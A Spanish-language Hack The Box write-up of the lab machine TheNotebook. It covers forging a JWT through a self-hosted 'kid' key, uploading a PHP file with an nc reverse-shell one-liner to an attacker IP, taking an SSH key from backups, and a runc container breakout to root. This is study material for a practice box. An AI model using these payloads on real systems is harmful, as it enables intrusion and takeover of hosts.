This page looks best with JavaScript enabled

Hack The Box - TheNotebook

En TheNotebook encontramos una aplicacion utilizando JWT, modificamos el token para validar con una clave propia, lo que nos permitio "escalar privilegios" en la aplicacion, y tras subir un archivo PHP ejecutar comandos. Cambiamos al siguiente usuario utilizando una clave privada dentro de un backup, finalmente escalamos privilegios por medio de Docker.

Nombre TheNotebook box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.230
Maker

mostwanted002

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.7, 5.8, 5.9, 4.1, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[10, 8, 8, 2, 2],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

RECON

NMAP

Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Nmap 7.91 scan initiated Tue Mar  9 17:41:20 2021 as: nmap -p- --min-rate 10000 -oN allports 10.129.85.125
Warning: 10.129.85.125 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.85.125 (10.129.85.125)
Host is up (0.084s latency).
Not shown: 35296 closed ports, 30237 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Mar  9 17:42:49 2021 -- 1 IP address (1 host up) scanned in 88.35 seconds

# Nmap 7.91 scan initiated Tue Mar  9 17:45:08 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.129.85.125
Nmap scan report for 10.129.85.125 (10.129.85.125)
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar  9 17:45:19 2021 -- 1 IP address (1 host up) scanned in 10.92 seconds

HTTP

Encontramos una pagina web en el puerto 80, donde es posible ingresar creando una cuenta.
image

GOBUSTER

Utilizamos GOBUSTER para busqueda de directorios y archivos, aunque, encontramos las mismas direcciones que se encuentran en la pagina inicial.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/htb/thenotebook]
└─$ gobuster dir -u http://10.129.85.125/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,xml,js -q
/login (Status: 200)
/register (Status: 200)
/admin (Status: 403)
/logout (Status: 302)

Registramos e ingresamos con un usuario y encontramos la opcion de Notes donde es posible crear notas mediante un titulo y cuerpo. En ninguno de los campos encontramos algun tipo de vulnerabilidad.
image

JWT COOKIE

Encontramos que la aplicacion está utilizando JSON Web Tokens. Utilizando jwt.io encontramos la estructura del token decodificado, la cual nos proporciona informacion del header y payload, se muestra que, esta utilizando el algoritmo RS256 o RSA Signature con SHA-256, además utiliza el kid o keyid cuyo valor es de una ruta en un puerto local, este ultimo es utilizado para verificar o firmar el token que esta siendo utilizado en la aplicacion. En el payload vemos el username, email y admin_cap. admin_cap probablemente sea utilizado para los permisos o nivel de privilegios de los usuarios. Finalmente vemos la firma.
image
image

Para poder “modificar” los privilegios o permisos del usuario en el token, creamos un nuevo token utilizando jwt.io con una clave privada nuestra, utilizando la informacion del usuario que registramos. Primero creamos nuestra clave privada utilizando ssh-keygen.

1
ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key

En el token modificamos el valor de kid para que apunte hacia nuestra direccion ip y verifique mediante nuestra clave privada el token que creamos. Tambien, modificamos el valor de admin_cap a 1 para intentar “elevar” nuestro nivel de permisos o privilegios en la aplicacion. Finalmente copiamos y pegamos nuestra clave privada, con esto jwt.io nos generaría nuestro token.
image

Creamos un mini servidor con python3 en la carpeta o direccion donde creamos nuestra clave privada. Finalmente utilizamos el token generado, modificando el existente mediante las herramientas de desarrollador de firefox.
image

Refrescamos la pagina para que tome nuestro nuevo token y vemos que logramos elevar los privilegios de nuestro usuario, vemos una opcion nueva, en esta es posible ver las notas y subir archivos.
image
image

En las notas vemos dos interesantes, en la primera Need to fix config, menciona que los archivos PHP son ejecutados y que puede ser un problema potencial para el servidor, en el segundo Backups are scheduled habla sobre backups y menciona que son muy faciles en el servidor.

www-data - USER

Con la informacion de notas podemos asumir que los archivos PHP aun estan siendo ejecutados, subimos un archivo PHP con una shell inversa, visitamos la url de la ubicacion del archivo y logramos obtener una shell con el usuario www-data.

1
2
3
<?php
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.20 1338 >/tmp/f')
?>

image

Noah - USER

Enumeramos la maquina, encontramos en la carpeta backups en /var/ un archivo comprimido, al descomprimir encontramos la clave privada del usuario noah, intentamos utilizar este archivo de manera remota pero no nos permitió ingresar la maquina, por lo que ingresamos de manera local, logramos obtener una shell con este usuario y nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
pwd
/var/backups
ls -lah
ls -lah
total 696K
drwxr-xr-x  2 root root   4.0K Mar  9 06:28 .
drwxr-xr-x 14 root root   4.0K Feb 12 06:52 ..
-rw-r--r--  1 root root    50K Mar  9 06:25 alternatives.tar.0
-rw-r--r--  1 root root    33K Feb 24 08:53 apt.extended_states.0
-rw-r--r--  1 root root   3.6K Feb 23 08:58 apt.extended_states.1.gz
-rw-r--r--  1 root root   3.6K Feb 12 06:52 apt.extended_states.2.gz
-rw-r--r--  1 root root    437 Feb 12 06:17 dpkg.diversions.0
-rw-r--r--  1 root root    172 Feb 12 06:52 dpkg.statoverride.0
-rw-r--r--  1 root root   559K Feb 24 08:53 dpkg.status.0
-rw-------  1 root root    693 Feb 17 13:18 group.bak
-rw-------  1 root shadow  575 Feb 17 13:18 gshadow.bak
-rw-r--r--  1 root root   4.3K Feb 17 09:02 home.tar.gz
-rw-------  1 root root   1.6K Feb 12 06:24 passwd.bak
-rw-------  1 root shadow 1.0K Feb 12 07:33 shadow.bak
www-data@thenotebook:/var/backups$
tar -xvf home.tar.gz -C /tmp/
tar -xvf home.tar.gz -C /tmp/
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
www-data@thenotebook:/var/backups$ cd /tmp/home/noah/.ssh
www-data@thenotebook:/tmp/home/noah/.ssh$
ls -lah
total 20K
drwx------ 2 www-data www-data 4.0K Feb 17 08:59 .
drwxr-xr-x 5 www-data www-data 4.0K Feb 17 09:02 ..
-rw-r--r-- 1 www-data www-data  398 Feb 17 08:59 authorized_keys
-rw------- 1 www-data www-data 1.7K Feb 17 08:59 id_rsa
-rw-r--r-- 1 www-data www-data  398 Feb 17 08:59 id_rsa.pub
cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
[... REDACTED ...]
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----
www-data@thenotebook:/tmp/home/noah/.ssh$

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos sudo (root) para ejecutar el comando /usr/bin/docker exec -it webapp-dev01*. Al intentar ejecutar este comando utilizando pwd (/usr/bin/docker exec -it webapp-dev01* pwd) nos muestra un error, ya que no existe un contenedor que contenga el caracter *, si eliminamos este ultimo caracter el comando se ejecuta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01*
"docker exec" requires at least 2 arguments.
See 'docker exec --help'.

Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 pwd
/opt/webapp
noah@thenotebook:~$

Al ejecutar bash obtenemos una shell root en el contenedor, donde estan todos los archivos de la aplicacion web, enumeramos el contenedor pero no encontramos nada para escalar privilegios en el host.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@0f4c2517af40:/opt/webapp# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/opt/webapp
root@0f4c2517af40:/opt/webapp# ls -lah
total 52K
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 .
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 ..
drwxr-xr-x 1 root root 4.0K Feb 12 07:30 __pycache__
drwxr-xr-x 3 root root 4.0K Nov 18 13:27 admin
-rw-r--r-- 1 root root 3.3K Nov 16 19:43 create_db.py
-rw-r--r-- 1 root root 9.3K Feb 11 15:00 main.py
-rw------- 1 root root 3.2K Feb 11 15:09 privKey.key
-rw-r--r-- 1 root root   78 Feb 12 07:12 requirements.txt
drwxr-xr-x 3 root root 4.0K Nov 19 10:57 static
drwxr-xr-x 2 root root 4.0K Nov 18 13:47 templates
-rw-r--r-- 1 root root   20 Nov 20 09:18 webapp.tar.gz
root@0f4c2517af40:/opt/webapp#

DOCKER

Verificamos la version de docker y realizamos una busqueda de exploits para esta version, vemos algunos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#TheNotebook - Host
noah@thenotebook:~$ docker --version
Docker version 18.06.0-ce, build 0ffa825
noah@thenotebook:~$

#Kali
┌──(kali㉿kali)-[~/htb/thenotebook/tmp]
└─$ searchsploit docker 18
---------------------------------------------------------------------------                                                                                 
 Exploit Title                                                             |  Path
---------------------------------------------------------------------------                                                                                 
Docker 0.11 - VMM-Container Breakout                                       | linux/local/33808.c
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1)                 | linux/local/46359.md
runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)                 | linux/local/46369.md
---------------------------------------------------------------------------                                                                                 
Shellcodes: No Results

Vemos algunos exploits que podrian afectar a la version de docker que se presenta, se define la explicacion:

… runc es la herramienta de bajo nivel que hace el trabajo pesado de generar un contenedor Linux. Otras herramientas como Docker, Containerd y CRI-O se encuentran en la parte superior de runc para lidiar con cosas como el formateo y la serialización de datos, pero runc está en el corazón de todos estos sistemas.
La vulnerabilidad se da: … cuando se ejecuta un proceso como root dentro de un contenedor, ese proceso puede aprovechar un error en runc para obtener privilegios de root en el host que ejecuta el contenedor …

Utilizamos el exploit runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) para escalar privilegios:

  • Editamos el archivo payload.c donde agregamos nuestra ip y puerto, además ponemos a la escucha con netcat en el puerto especificado.
  • Compilamos el archivo exploit y payload: make.
  • Descargamos los archivos dentro del contenedor utilizando wget.
  • Al tener los archivos dentro, ejecutamos pwn.sh.
  • En otra shell con noah ejecutamos sudo /usr/bin/docker exec -it webapp-dev01 sh lo que ejecutará el archivo exploit y este ultimo el archivo payload que contiene una shell inversa, con lo cual logramos obtener una shell root y nuestra flag root.txt.

image

PAYLOAD

Durante la ejecucion de este exploit se dio el “error” de que la shell inversa no se ejecutaba correctamente por lo que en el caso anterior se utilizó este payload.

UPDATE NOAH SHELL

Inicialmente se utilizó la shell del usuario www-data para cambiar al usuario noah ya que la clave id_rsa del archivo home.tar.gz no dejaba ingresar remotamente, pero al tener una shell con noah, dentro de su directorio .ssh encontramos una clave privada con la cual si es posible ingresar remotamente.

Share on

Dany Sucuc
WRITTEN BY
Dany Sucuc
RedTeamer & Pentester wannabe